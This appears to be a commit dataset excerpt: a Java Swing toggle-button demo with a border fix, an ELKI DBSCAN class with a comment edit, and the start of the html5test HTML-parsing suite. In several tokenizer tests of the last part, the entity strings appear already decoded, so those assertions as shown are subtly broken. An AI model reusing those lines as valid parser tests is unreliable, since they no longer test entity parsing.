if(m.isSelected() || m.isRollover()) {
ssc = ST;
bgc = SB;
}
}
g2.setPaint(new GradientPaint(x, y, ssc, x, y+h, bgc, true));
g2.fillRect(x, y, w, h);
g2.setPaint(TL);
g2.fillRect(x, y, 1, h);
g2.setPaint(BR);
g2.fillRect(x+w, y, 1, h);
g2.dispose();
}
@Override public int getIconWidth() {
return 80;
}
@Override public int getIconHeight() {
return 20;
}
}
enum Location{
FIRST, CENTER, LAST;
}
class ToggleButtonBarCellIcon implements Icon{
private static final Color TL = new Color(1f,1f,1f,.2f);
private static final Color BR = new Color(0f,0f,0f,.2f);
private static final Color ST = new Color(1f,1f,1f,.4f);
private static final Color SB = new Color(1f,1f,1f,.1f);
private Color ssc;
private Color bgc;
private Location l;
public ToggleButtonBarCellIcon() {
this(Location.CENTER);
}
public ToggleButtonBarCellIcon(Location l) {
this.l = l;
}
@Override public void paintIcon(Component c, Graphics g, int x, int y) {
int r = 8;
int w = c.getWidth();
int h = c.getHeight();
Graphics2D g2 = (Graphics2D)g.create();
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
Path2D.Float p = new Path2D.Float();
if(Location.CENTER.equals(l)) {
p.moveTo(x, y);
p.lineTo(x + w, y);
p.lineTo(x + w, y + h);
p.lineTo(x, y + h);
}else if(Location.FIRST.equals(l)) {
p.moveTo(x, y + r);
p.quadTo(x, y, x + r, y);
p.lineTo(x + w, y);
p.lineTo(x + w, y + h);
p.lineTo(x + r, y + h);
p.quadTo(x, y + h, x, y + h - r);
}else if(Location.LAST.equals(l)) {
p.moveTo(x, y);
p.lineTo(x + w - r, y);
p.quadTo(x + w, y, x + w, y + r);
p.lineTo(x + w, y + h - r);
p.quadTo(x + w, y + h, x + w -r, y + h);
p.lineTo(x, y + h);
}
p.closePath();
Area area = new Area(p);
g2.setPaint(c.getBackground());
g2.fill(area);
ssc = TL;
bgc = BR;
if(c instanceof AbstractButton) {
ButtonModel m = ((AbstractButton)c).getModel();
if(m.isSelected() || m.isRollover()) {
ssc = ST;
bgc = SB;
}
}
g2.setPaint(new GradientPaint(x, y, ssc, x, y+h, bgc, true));
g2.fill(area);
g2.setPaint(BR);
g2.draw(area);
g2.dispose();
}
@Override public int getIconWidth() {
return 80;
}
@Override public int getIconHeight() {
return 20;
}
}
| ToggleButtonBar/src/java/example/MainPanel.java | package example;
//-*- mode:java; encoding:utf-8 -*-
// vim:set fileencoding=utf-8:
//@homepage@
import java.awt.*;
import java.awt.event.*;
import java.awt.geom.*;
import java.awt.image.*;
import java.util.*;
import java.util.List;
import javax.swing.*;
public class MainPanel extends JPanel {
public MainPanel() {
super();
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0xff7400, true));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x555555, false));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x006400, true));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x8b0000, false));
add(makeToggleButtonBar(Arrays.asList(
makeRadioButton("left"),
makeRadioButton("center"),
makeRadioButton("right")), 0x001e43, true));
setPreferredSize(new Dimension(320, 240));
}
private static JRadioButton makeRadioButton(String title) {
JRadioButton radio = new JRadioButton(title);
radio.setVerticalAlignment(SwingConstants.CENTER);
radio.setVerticalTextPosition(SwingConstants.CENTER);
radio.setHorizontalAlignment(SwingConstants.CENTER);
radio.setHorizontalTextPosition(SwingConstants.CENTER);
radio.setBorder(BorderFactory.createEmptyBorder());
radio.setContentAreaFilled(false);
radio.setFocusPainted(false);
//radio.setBackground(new Color(cc));
radio.setForeground(Color.WHITE);
return radio;
}
private static JPanel makeToggleButtonBar(List<JRadioButton> list, int cc, boolean round) {
int size = list.size();
ButtonGroup bg = new ButtonGroup();
JPanel p = new JPanel(new GridLayout(1, size, 0, 0));
Color color = new Color(cc);
for(int i=0; i<size;i++) {
JRadioButton r = list.get(i);
r.setBackground(color);
if(round) {
if(i==0) {
r.setIcon(new ToggleButtonBarCellIcon(Location.FIRST));
}else if(i==size-1) {
r.setIcon(new ToggleButtonBarCellIcon(Location.LAST));
}else{
r.setIcon(new ToggleButtonBarCellIcon(Location.CENTER));
}
}else{
r.setIcon(new CellIcon());
}
bg.add(r);
p.add(r);
}
p.setBorder(BorderFactory.createTitledBorder(String.format("Color: #%06x", cc)));
return p;
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
@Override public void run() {
createAndShowGUI();
}
});
}
public static void createAndShowGUI() {
try{
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
}catch(Exception e) {
e.printStackTrace();
}
JFrame frame = new JFrame("@title@");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.getContentPane().add(new MainPanel());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
}
class CellIcon implements Icon{
//http://weboook.blog22.fc2.com/blog-entry-342.html
//Webpark 2012.11.15
private static final Color TL = new Color(1f,1f,1f,.2f);
private static final Color BR = new Color(0f,0f,0f,.2f);
private static final Color ST = new Color(1f,1f,1f,.4f);
private static final Color SB = new Color(1f,1f,1f,.1f);
private Color ssc;
private Color bgc;
@Override public void paintIcon(Component c, Graphics g, int x, int y) {
int w = c.getWidth();
int h = c.getHeight();
Graphics2D g2 = (Graphics2D)g.create();
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
g2.setPaint(c.getBackground());
g2.fillRect(x, y, w, h);
ssc = TL;
bgc = BR;
if(c instanceof AbstractButton) {
ButtonModel m = ((AbstractButton)c).getModel();
if(m.isSelected() || m.isRollover()) {
ssc = ST;
bgc = SB;
}
}
g2.setPaint(new GradientPaint(x, y, ssc, x, y+h, bgc, true));
g2.fillRect(x, y, w, h);
g2.setPaint(TL);
g2.fillRect(x, y, 1, h);
g2.setPaint(BR);
g2.fillRect(x+w-1, y, 1, h);
g2.dispose();
}
@Override public int getIconWidth() {
return 80;
}
@Override public int getIconHeight() {
return 20;
}
}
enum Location{
FIRST, CENTER, LAST;
}
class ToggleButtonBarCellIcon implements Icon{
private static final Color TL = new Color(1f,1f,1f,.2f);
private static final Color BR = new Color(0f,0f,0f,.2f);
private static final Color ST = new Color(1f,1f,1f,.4f);
private static final Color SB = new Color(1f,1f,1f,.1f);
private Color ssc;
private Color bgc;
private Location l;
public ToggleButtonBarCellIcon() {
this(Location.CENTER);
}
public ToggleButtonBarCellIcon(Location l) {
this.l = l;
}
@Override public void paintIcon(Component c, Graphics g, int x, int y) {
int r = 8;
int w = c.getWidth();
int h = c.getHeight();
Graphics2D g2 = (Graphics2D)g.create();
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
Path2D.Float p = new Path2D.Float();
if(Location.CENTER.equals(l)) {
p.moveTo(x, y);
p.lineTo(x + w, y);
p.lineTo(x + w, y + h);
p.lineTo(x, y + h);
}else if(Location.FIRST.equals(l)) {
p.moveTo(x, y + r);
p.quadTo(x, y, x + r, y);
p.lineTo(x + w, y);
p.lineTo(x + w, y + h);
p.lineTo(x + r, y + h);
p.quadTo(x, y + h, x, y + h - r);
}else if(Location.LAST.equals(l)) {
p.moveTo(x, y);
p.lineTo(x + w - r, y);
p.quadTo(x + w, y, x + w, y + r);
p.lineTo(x + w, y + h - r);
p.quadTo(x + w, y + h, x + w -r, y + h);
p.lineTo(x, y + h);
}
p.closePath();
Area area = new Area(p);
g2.setPaint(c.getBackground());
g2.fill(area);
ssc = TL;
bgc = BR;
if(c instanceof AbstractButton) {
ButtonModel m = ((AbstractButton)c).getModel();
if(m.isSelected() || m.isRollover()) {
ssc = ST;
bgc = SB;
}
}
g2.setPaint(new GradientPaint(x, y, ssc, x, y+h, bgc, true));
g2.fill(area);
g2.setPaint(BR);
g2.draw(area);
g2.dispose();
}
@Override public int getIconWidth() {
return 80;
}
@Override public int getIconHeight() {
return 20;
}
}
| border-width | ToggleButtonBar/src/java/example/MainPanel.java | border-width | <ide><path>oggleButtonBar/src/java/example/MainPanel.java
<ide> g2.setPaint(TL);
<ide> g2.fillRect(x, y, 1, h);
<ide> g2.setPaint(BR);
<del> g2.fillRect(x+w-1, y, 1, h);
<add> g2.fillRect(x+w, y, 1, h);
<ide>
<ide> g2.dispose();
<ide> } |
|
Java | agpl-3.0 | d93028ec93412843f04573cc4aeac35b6969e22c | 0 | elki-project/elki,elki-project/elki,elki-project/elki | package de.lmu.ifi.dbs.algorithm.clustering;
import de.lmu.ifi.dbs.algorithm.Algorithm;
import de.lmu.ifi.dbs.algorithm.DistanceBasedAlgorithm;
import de.lmu.ifi.dbs.algorithm.result.clustering.ClustersPlusNoise;
import de.lmu.ifi.dbs.data.DatabaseObject;
import de.lmu.ifi.dbs.database.Database;
import de.lmu.ifi.dbs.distance.Distance;
import de.lmu.ifi.dbs.distance.distancefunction.DistanceFunction;
import de.lmu.ifi.dbs.utilities.Description;
import de.lmu.ifi.dbs.utilities.Progress;
import de.lmu.ifi.dbs.utilities.QueryResult;
import de.lmu.ifi.dbs.utilities.optionhandling.ClassParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.IntParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.Option;
import de.lmu.ifi.dbs.utilities.optionhandling.ParameterException;
import de.lmu.ifi.dbs.utilities.optionhandling.PatternParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.UnusedParameterException;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GlobalDistanceFunctionPatternConstraint;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GlobalParameterConstraint;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GreaterConstraint;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
/**
* DBSCAN provides the DBSCAN algorithm.
*
* @param <O> the type of DatabaseObject the algorithm is applied on
* @param <D> the type of Distance used
* @author Arthur Zimek
*/
public class DBSCAN<O extends DatabaseObject, D extends Distance<D>> extends DistanceBasedAlgorithm<O, D> implements Clustering<O> {
/**
* Parameter epsilon.
*/
public static final String EPSILON_P = "epsilon";
/**
* Description for parameter epsilon.
*/
public static final String EPSILON_D = "the maximum radius of the neighborhood to be considered, must be suitable to the distance function specified";
/**
* Parameter minimum points.
*/
public static final String MINPTS_P = "minpts";
/**
* Description for parameter minimum points.
*/
public static final String MINPTS_D = "threshold for minimum number of points in the epsilon-neighborhood of a point";
/**
* Epsilon.
*/
protected String epsilon;
/**
* Minimum points.
*/
protected int minpts;
/**
* Holds a list of clusters found.
*/
protected List<List<Integer>> resultList;
/**
* Provides the result of the algorithm.
*/
protected ClustersPlusNoise<O> result;
/**
* Holds a set of noise.
*/
protected Set<Integer> noise;
/**
* Holds a set of processed ids.
*/
protected Set<Integer> processedIDs;
/**
* Sets epsilon and minimum points to the optionhandler additionally to the
* parameters provided by super-classes.
*/
@SuppressWarnings("unchecked")
public DBSCAN() {
super();
PatternParameter eps = new PatternParameter(EPSILON_P, EPSILON_D);
optionHandler.put(eps);
// global constraint
try {
// noinspection unchecked
GlobalParameterConstraint gpc = new GlobalDistanceFunctionPatternConstraint(eps, (ClassParameter<? extends DistanceFunction<?,?>>) optionHandler.getOption(DISTANCE_FUNCTION_P));
optionHandler.setGlobalParameterConstraint(gpc);
} catch (UnusedParameterException e) {
verbose("Could not instantiate global parameter constraint concerning parameter " + EPSILON_P + " and " + DISTANCE_FUNCTION_P + " because parameter " + DISTANCE_FUNCTION_P + " is not specified! " + e.getMessage());
}
optionHandler.put(new IntParameter(MINPTS_P, MINPTS_D, new GreaterConstraint(0)));
}
/**
* Performs the DBSCAN algorithm on the given database.
*
* @see de.lmu.ifi.dbs.algorithm.AbstractAlgorithm#runInTime(de.lmu.ifi.dbs.database.Database)
*/
@Override
protected void runInTime(Database<O> database) {
Progress progress = new Progress("Clustering", database.size());
resultList = new ArrayList<List<Integer>>();
noise = new HashSet<Integer>();
processedIDs = new HashSet<Integer>(database.size());
getDistanceFunction().setDatabase(database, isVerbose(), isTime());
if (isVerbose()) {
verbose("Clustering:");
}
if (database.size() >= minpts) {
for (Iterator<Integer> iter = database.iterator(); iter.hasNext();) {
Integer id = iter.next();
if (!processedIDs.contains(id)) {
expandCluster(database, id, progress);
if (processedIDs.size() == database.size() && noise.size() == 0) {
break;
}
}
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
progress(progress, resultList.size());
}
}
} else {
for (Iterator<Integer> iter = database.iterator(); iter.hasNext();) {
Integer id = iter.next();
noise.add(id);
if (isVerbose()) {
progress.setProcessed(noise.size());
progress(progress, resultList.size());
}
}
}
Integer[][] resultArray = new Integer[resultList.size() + 1][];
int i = 0;
for (Iterator<List<Integer>> resultListIter = resultList.iterator(); resultListIter.hasNext(); i++) {
resultArray[i] = resultListIter.next().toArray(new Integer[0]);
}
resultArray[resultArray.length - 1] = noise.toArray(new Integer[0]);
result = new ClustersPlusNoise<O>(resultArray, database);
if (isVerbose()) {
verbose("");
}
}
/**
* DBSCAN-function expandCluster. <p/> Border-Objects become members of the
* first possible cluster.
*
* @param database
* the database on which the algorithm is run
* @param startObjectID
* potential seed of a new potential cluster
*/
protected void expandCluster(Database<O> database, Integer startObjectID, Progress progress) {
List<QueryResult<D>> seeds = database.rangeQuery(startObjectID, epsilon, getDistanceFunction());
// startObject is no core-object
if (seeds.size() < minpts) {
noise.add(startObjectID);
processedIDs.add(startObjectID);
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
progress(progress, resultList.size());
}
return;
}
// try to expand the cluster
List<Integer> currentCluster = new ArrayList<Integer>();
for (QueryResult<D> seed : seeds) {
Integer nextID = seed.getID();
if (!processedIDs.contains(nextID)) {
currentCluster.add(nextID);
processedIDs.add(nextID);
} else if (noise.contains(nextID)) {
currentCluster.add(nextID);
noise.remove(nextID);
}
}
seeds.remove(0);
while (seeds.size() > 0) {
Integer o = seeds.remove(0).getID();
List<QueryResult<D>> neighborhood = database.rangeQuery(o, epsilon, getDistanceFunction());
if (neighborhood.size() >= minpts) {
for (QueryResult<D> neighbor : neighborhood) {
Integer p = neighbor.getID();
boolean inNoise = noise.contains(p);
boolean unclassified = !processedIDs.contains(p);
if (inNoise || unclassified) {
if (unclassified) {
seeds.add(neighbor);
}
currentCluster.add(p);
processedIDs.add(p);
if (inNoise) {
noise.remove(p);
}
}
}
}
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
int numClusters = currentCluster.size() > minpts ? resultList.size() + 1 : resultList.size();
progress(progress, numClusters);
}
if (processedIDs.size() == database.size() && noise.size() == 0) {
break;
}
}
if (currentCluster.size() >= minpts) {
resultList.add(currentCluster);
} else {
for (Integer id : currentCluster) {
noise.add(id);
}
noise.add(startObjectID);
processedIDs.add(startObjectID);
}
}
/**
* @see Algorithm#getDescription()
*/
public Description getDescription() {
return new Description("DBSCAN", "Density-Based Clustering of Applications with Noise", "Algorithm to find density-connected sets in a database based on the parameters " + MINPTS_P + " and " + EPSILON_P + " (specifying a volume). " + "These two parameters determine a density threshold for clustering.", "M. Ester, H.-P. Kriegel, J. Sander, and X. Xu: " + "A Density-Based Algorithm for Discovering Clusters in Large Spatial Databases with Noise. " + "In Proc. 2nd Int. Conf. on Knowledge Discovery and Data Mining (KDD '96), Portland, OR, 1996.");
}
/**
* Sets the parameters epsilon and minpts additionally to the parameters set
* by the super-class' method. Both epsilon and minpts are required
* parameters.
*
* @see de.lmu.ifi.dbs.utilities.optionhandling.Parameterizable#setParameters(String[])
*/
@Override
public String[] setParameters(String[] args) throws ParameterException {
String[] remainingParameters = super.setParameters(args);
epsilon = (String) optionHandler.getOptionValue(EPSILON_P);
// minpts
minpts = (Integer) optionHandler.getOptionValue(MINPTS_P);
setParameters(args, remainingParameters);
return remainingParameters;
}
/**
* @see de.lmu.ifi.dbs.algorithm.Algorithm#getResult()
*/
public ClustersPlusNoise<O> getResult() {
return result;
}
public Option<?>[] getOptions() {
return optionHandler.getOptions();
}
public String getEpsilon() {
return epsilon;
}
} | src/de/lmu/ifi/dbs/algorithm/clustering/DBSCAN.java | package de.lmu.ifi.dbs.algorithm.clustering;
import de.lmu.ifi.dbs.algorithm.Algorithm;
import de.lmu.ifi.dbs.algorithm.DistanceBasedAlgorithm;
import de.lmu.ifi.dbs.algorithm.result.clustering.ClustersPlusNoise;
import de.lmu.ifi.dbs.data.DatabaseObject;
import de.lmu.ifi.dbs.database.Database;
import de.lmu.ifi.dbs.distance.Distance;
import de.lmu.ifi.dbs.distance.distancefunction.DistanceFunction;
import de.lmu.ifi.dbs.utilities.Description;
import de.lmu.ifi.dbs.utilities.Progress;
import de.lmu.ifi.dbs.utilities.QueryResult;
import de.lmu.ifi.dbs.utilities.optionhandling.ClassParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.IntParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.Option;
import de.lmu.ifi.dbs.utilities.optionhandling.ParameterException;
import de.lmu.ifi.dbs.utilities.optionhandling.PatternParameter;
import de.lmu.ifi.dbs.utilities.optionhandling.UnusedParameterException;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GlobalDistanceFunctionPatternConstraint;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GlobalParameterConstraint;
import de.lmu.ifi.dbs.utilities.optionhandling.constraints.GreaterConstraint;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
/**
* DBSCAN provides the DBSCAN algorithm.
*
* @param <O> the type of DatabaseObject the algorithm is applied on
* @param <D> the type of Distance used
* @author Arthur Zimek
*/
public class DBSCAN<O extends DatabaseObject, D extends Distance<D>> extends DistanceBasedAlgorithm<O, D> implements Clustering<O> {
/**
* Parameter for epsilon.
*/
public static final String EPSILON_P = "epsilon";
/**
* Description for parameter epsilon.
*/
public static final String EPSILON_D = "the maximum radius of the neighborhood to be considered, must be suitable to the distance function specified";
/**
* Parameter minimum points.
*/
public static final String MINPTS_P = "minpts";
/**
* Description for parameter minimum points.
*/
public static final String MINPTS_D = "threshold for minimum number of points in the epsilon-neighborhood of a point";
/**
* Epsilon.
*/
protected String epsilon;
/**
* Minimum points.
*/
protected int minpts;
/**
* Holds a list of clusters found.
*/
protected List<List<Integer>> resultList;
/**
* Provides the result of the algorithm.
*/
protected ClustersPlusNoise<O> result;
/**
* Holds a set of noise.
*/
protected Set<Integer> noise;
/**
* Holds a set of processed ids.
*/
protected Set<Integer> processedIDs;
/**
* Sets epsilon and minimum points to the optionhandler additionally to the
* parameters provided by super-classes.
*/
@SuppressWarnings("unchecked")
public DBSCAN() {
super();
PatternParameter eps = new PatternParameter(EPSILON_P, EPSILON_D);
optionHandler.put(eps);
// global constraint
try {
// noinspection unchecked
GlobalParameterConstraint gpc = new GlobalDistanceFunctionPatternConstraint(eps, (ClassParameter<? extends DistanceFunction<?,?>>) optionHandler.getOption(DISTANCE_FUNCTION_P));
optionHandler.setGlobalParameterConstraint(gpc);
} catch (UnusedParameterException e) {
verbose("Could not instantiate global parameter constraint concerning parameter " + EPSILON_P + " and " + DISTANCE_FUNCTION_P + " because parameter " + DISTANCE_FUNCTION_P + " is not specified! " + e.getMessage());
}
optionHandler.put(new IntParameter(MINPTS_P, MINPTS_D, new GreaterConstraint(0)));
}
/**
* Performs the DBSCAN algorithm on the given database.
*
* @see de.lmu.ifi.dbs.algorithm.AbstractAlgorithm#runInTime(de.lmu.ifi.dbs.database.Database)
*/
@Override
protected void runInTime(Database<O> database) {
Progress progress = new Progress("Clustering", database.size());
resultList = new ArrayList<List<Integer>>();
noise = new HashSet<Integer>();
processedIDs = new HashSet<Integer>(database.size());
getDistanceFunction().setDatabase(database, isVerbose(), isTime());
if (isVerbose()) {
verbose("Clustering:");
}
if (database.size() >= minpts) {
for (Iterator<Integer> iter = database.iterator(); iter.hasNext();) {
Integer id = iter.next();
if (!processedIDs.contains(id)) {
expandCluster(database, id, progress);
if (processedIDs.size() == database.size() && noise.size() == 0) {
break;
}
}
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
progress(progress, resultList.size());
}
}
} else {
for (Iterator<Integer> iter = database.iterator(); iter.hasNext();) {
Integer id = iter.next();
noise.add(id);
if (isVerbose()) {
progress.setProcessed(noise.size());
progress(progress, resultList.size());
}
}
}
Integer[][] resultArray = new Integer[resultList.size() + 1][];
int i = 0;
for (Iterator<List<Integer>> resultListIter = resultList.iterator(); resultListIter.hasNext(); i++) {
resultArray[i] = resultListIter.next().toArray(new Integer[0]);
}
resultArray[resultArray.length - 1] = noise.toArray(new Integer[0]);
result = new ClustersPlusNoise<O>(resultArray, database);
if (isVerbose()) {
verbose("");
}
}
/**
* DBSCAN-function expandCluster. <p/> Border-Objects become members of the
* first possible cluster.
*
* @param database
* the database on which the algorithm is run
* @param startObjectID
* potential seed of a new potential cluster
*/
protected void expandCluster(Database<O> database, Integer startObjectID, Progress progress) {
List<QueryResult<D>> seeds = database.rangeQuery(startObjectID, epsilon, getDistanceFunction());
// startObject is no core-object
if (seeds.size() < minpts) {
noise.add(startObjectID);
processedIDs.add(startObjectID);
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
progress(progress, resultList.size());
}
return;
}
// try to expand the cluster
List<Integer> currentCluster = new ArrayList<Integer>();
for (QueryResult<D> seed : seeds) {
Integer nextID = seed.getID();
if (!processedIDs.contains(nextID)) {
currentCluster.add(nextID);
processedIDs.add(nextID);
} else if (noise.contains(nextID)) {
currentCluster.add(nextID);
noise.remove(nextID);
}
}
seeds.remove(0);
while (seeds.size() > 0) {
Integer o = seeds.remove(0).getID();
List<QueryResult<D>> neighborhood = database.rangeQuery(o, epsilon, getDistanceFunction());
if (neighborhood.size() >= minpts) {
for (QueryResult<D> neighbor : neighborhood) {
Integer p = neighbor.getID();
boolean inNoise = noise.contains(p);
boolean unclassified = !processedIDs.contains(p);
if (inNoise || unclassified) {
if (unclassified) {
seeds.add(neighbor);
}
currentCluster.add(p);
processedIDs.add(p);
if (inNoise) {
noise.remove(p);
}
}
}
}
if (isVerbose()) {
progress.setProcessed(processedIDs.size());
int numClusters = currentCluster.size() > minpts ? resultList.size() + 1 : resultList.size();
progress(progress, numClusters);
}
if (processedIDs.size() == database.size() && noise.size() == 0) {
break;
}
}
if (currentCluster.size() >= minpts) {
resultList.add(currentCluster);
} else {
for (Integer id : currentCluster) {
noise.add(id);
}
noise.add(startObjectID);
processedIDs.add(startObjectID);
}
}
/**
* @see Algorithm#getDescription()
*/
public Description getDescription() {
return new Description("DBSCAN", "Density-Based Clustering of Applications with Noise", "Algorithm to find density-connected sets in a database based on the parameters " + MINPTS_P + " and " + EPSILON_P + " (specifying a volume). " + "These two parameters determine a density threshold for clustering.", "M. Ester, H.-P. Kriegel, J. Sander, and X. Xu: " + "A Density-Based Algorithm for Discovering Clusters in Large Spatial Databases with Noise. " + "In Proc. 2nd Int. Conf. on Knowledge Discovery and Data Mining (KDD '96), Portland, OR, 1996.");
}
/**
* Sets the parameters epsilon and minpts additionally to the parameters set
* by the super-class' method. Both epsilon and minpts are required
* parameters.
*
* @see de.lmu.ifi.dbs.utilities.optionhandling.Parameterizable#setParameters(String[])
*/
@Override
public String[] setParameters(String[] args) throws ParameterException {
String[] remainingParameters = super.setParameters(args);
epsilon = (String) optionHandler.getOptionValue(EPSILON_P);
// minpts
minpts = (Integer) optionHandler.getOptionValue(MINPTS_P);
setParameters(args, remainingParameters);
return remainingParameters;
}
/**
* @see de.lmu.ifi.dbs.algorithm.Algorithm#getResult()
*/
public ClustersPlusNoise<O> getResult() {
return result;
}
public Option<?>[] getOptions() {
return optionHandler.getOptions();
}
public String getEpsilon() {
return epsilon;
}
} | refactoring comments
| src/de/lmu/ifi/dbs/algorithm/clustering/DBSCAN.java | refactoring comments | <ide><path>rc/de/lmu/ifi/dbs/algorithm/clustering/DBSCAN.java
<ide> public class DBSCAN<O extends DatabaseObject, D extends Distance<D>> extends DistanceBasedAlgorithm<O, D> implements Clustering<O> {
<ide>
<ide> /**
<del> * Parameter for epsilon.
<add> * Parameter epsilon.
<ide> */
<ide> public static final String EPSILON_P = "epsilon";
<ide> |
|
JavaScript | mit | fb77dd185978df0e45b0fa9427dbc456e8574449 | 0 | chiefcll/html5test,mpopp75/html5test,NielsLeenheer/html5test,mpopp75/html5test,mpopp75/html5test,chiefcll/html5test,NielsLeenheer/html5test,chiefcll/html5test,NielsLeenheer/html5test |
Test8 = (function() {
var version = 8;
var revision = 0;
var NO = 0,
YES = 1,
OLD = 2,
BUGGY = 4,
PREFIX = 8,
BLOCKED = 16,
DISABLED = 32,
UNCONFIRMED = 64;
var blacklists = [];
var testsuite = [
function(results) {
/* doctype */
results.setItem({
key: 'parsing-doctype',
passed: document.compatMode == 'CSS1Compat'
});
/* tokenizer */
var result = true;
var e = document.createElement('div');
try {
e.innerHTML = "<div<div>";
result &= e.firstChild && e.firstChild.nodeName == "DIV<DIV";
e.innerHTML = "<div foo<bar=''>";
result &= e.firstChild.attributes[0].nodeName == "foo<bar" || e.firstChild.attributes[0].name == "foo<bar";
e.innerHTML = "<div foo=`bar`>";
result &= e.firstChild.getAttribute("foo") == "`bar`";
e.innerHTML = "<div \"foo=''>";
result &= e.firstChild && (e.firstChild.attributes[0].nodeName == "\"foo" || e.firstChild.attributes[0].name == "\"foo");
e.innerHTML = "<a href='\nbar'></a>";
result &= e.firstChild && e.firstChild.getAttribute("href") == "\nbar";
e.innerHTML = "<!DOCTYPE html>";
result &= e.firstChild == null;
e.innerHTML = "\u000D";
result &= e.firstChild && e.firstChild.nodeValue == "\u000A";
e.innerHTML = "⟨⟩";
result &= e.firstChild.nodeValue == "\u27E8\u27E9";
e.innerHTML = "'";
result &= e.firstChild.nodeValue == "'";
e.innerHTML = "ⅈ";
result &= e.firstChild.nodeValue == "\u2148";
e.innerHTML = "𝕂";
result &= e.firstChild.nodeValue == "\uD835\uDD42";
e.innerHTML = "∉";
result &= e.firstChild.nodeValue == "\u2209";
e.innerHTML = '<?import namespace="foo" implementation="#bar">';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == '?import namespace="foo" implementation="#bar"';
e.innerHTML = '<!--foo--bar-->';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == 'foo--bar';
e.innerHTML = '<![CDATA[x]]>';
result &= e.firstChild && e.firstChild.nodeType == 8 && e.firstChild.nodeValue == '[CDATA[x]]';
e.innerHTML = "<textarea><!--</textarea>--></textarea>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<textarea><!--</textarea>-->";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<style><!--</style>--></style>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
e.innerHTML = "<style><!--</style>-->";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.nodeValue == "<!--";
} catch(e) {
result = false;
}
results.setItem({
key: 'parsing-tokenizer',
passed: result
});
/* tree builder */
var result = true;
var e = document.createElement('div');
try {
var h = document.createElement("html");
h.innerHTML = "";
result &= h.firstChild && h.firstChild.nodeName == "HEAD" && h.lastChild.nodeName == "BODY" && h.firstChild.nextSibling == h.lastChild;
} catch (e) {
result = false;
}
try {
var t = document.createElement("table");
t.innerHTML = "<col>";
result &= t.firstChild && t.firstChild.nodeName == "COLGROUP";
} catch (e) {
result = false;
}
e.innerHTML = "<ul><li>A </li> <li>B</li></ul>";
result &= e.firstChild && e.firstChild.firstChild && e.firstChild.firstChild.firstChild && e.firstChild.firstChild.firstChild.nodeValue == "A ";
e.innerHTML = "<table><form><input type=hidden><input></form><div></div></table>";
result &= e.firstChild &&
e.firstChild.nodeName == "INPUT" &&
e.firstChild.nextSibling &&
e.firstChild.nextSibling.nodeName == "DIV" &&
e.lastChild.nodeName == "TABLE" &&
e.firstChild.nextSibling.nextSibling == e.lastChild &&
e.lastChild.firstChild &&
e.lastChild.firstChild.nodeName == "FORM" &&
e.lastChild.firstChild.firstChild == null &&
e.lastChild.lastChild.nodeName == "INPUT" &&
e.lastChild.firstChild.nextSibling == e.lastChild.lastChild;
e.innerHTML = "<i>A<b>B<p></i>C</b>D";
result &= e.firstChild &&
e.childNodes.length == 3 &&
e.childNodes[0].nodeName == "I" &&
e.childNodes[0].childNodes.length == 2 &&
e.childNodes[0].childNodes[0].nodeValue == "A" &&
e.childNodes[0].childNodes[1].nodeName == "B" &&
e.childNodes[0].childNodes[1].childNodes.length == 1 &&
e.childNodes[0].childNodes[1].childNodes[0].nodeValue == "B" &&
e.childNodes[1].nodeName == "B" &&
e.childNodes[1].firstChild == null &&
e.childNodes[2].nodeName == "P" &&
e.childNodes[2].childNodes.length == 2 &&
e.childNodes[2].childNodes[0].nodeName == "B" &&
e.childNodes[2].childNodes[0].childNodes.length == 2 &&
e.childNodes[2].childNodes[0].childNodes[0].nodeName == "I" &&
e.childNodes[2].childNodes[0].childNodes[0].firstChild == null &&
e.childNodes[2].childNodes[0].childNodes[1].nodeValue == "C" &&
e.childNodes[2].childNodes[1].nodeValue == "D";
e.innerHTML = "<div></div>";
result &= e.firstChild && "namespaceURI" in e.firstChild && e.firstChild.namespaceURI == "http://www.w3.org/1999/xhtml";
results.setItem({
key: 'parsing-tree',
passed: result
});
/* svg in html */
var e = document.createElement('div');
e.innerHTML = '<svg></svg>';
